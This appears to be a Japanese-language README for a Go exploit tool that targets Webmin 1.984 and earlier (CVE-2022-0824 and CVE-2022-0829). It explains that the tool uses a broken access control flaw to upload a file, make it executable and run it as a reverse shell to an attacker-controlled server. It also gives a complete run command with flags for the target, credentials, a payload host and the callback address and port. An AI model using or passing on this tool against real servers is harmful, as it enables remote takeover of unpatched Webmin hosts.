golang-webmin-CVE-2022-0824-revshell

Webmin <= 1.984 における RCE

CVE-2022-0824 および CVE-2022-0829

これは Webmin の BAC 脆弱性を悪用して、悪意のあるファイルをアップロードし、そのファイルのパーミッションを変更した上で実行します。 makePayload 関数で作成されるこのファイルは、攻撃者が制御するサーバーへのリバースシェルです。

使用方法

go run cve-2022-0824.go -t "https://172.16.177.132:10000" -c "username:password" -sl 172.16.177.1:8999 -s 172.16.177.1 -p 4444

t -> ターゲット URL
c -> Webmin の認証情報
sl -> ペイロードをホストするローカルサーバーの IP とポート
s -> コールバック IP
p -> コールバックポート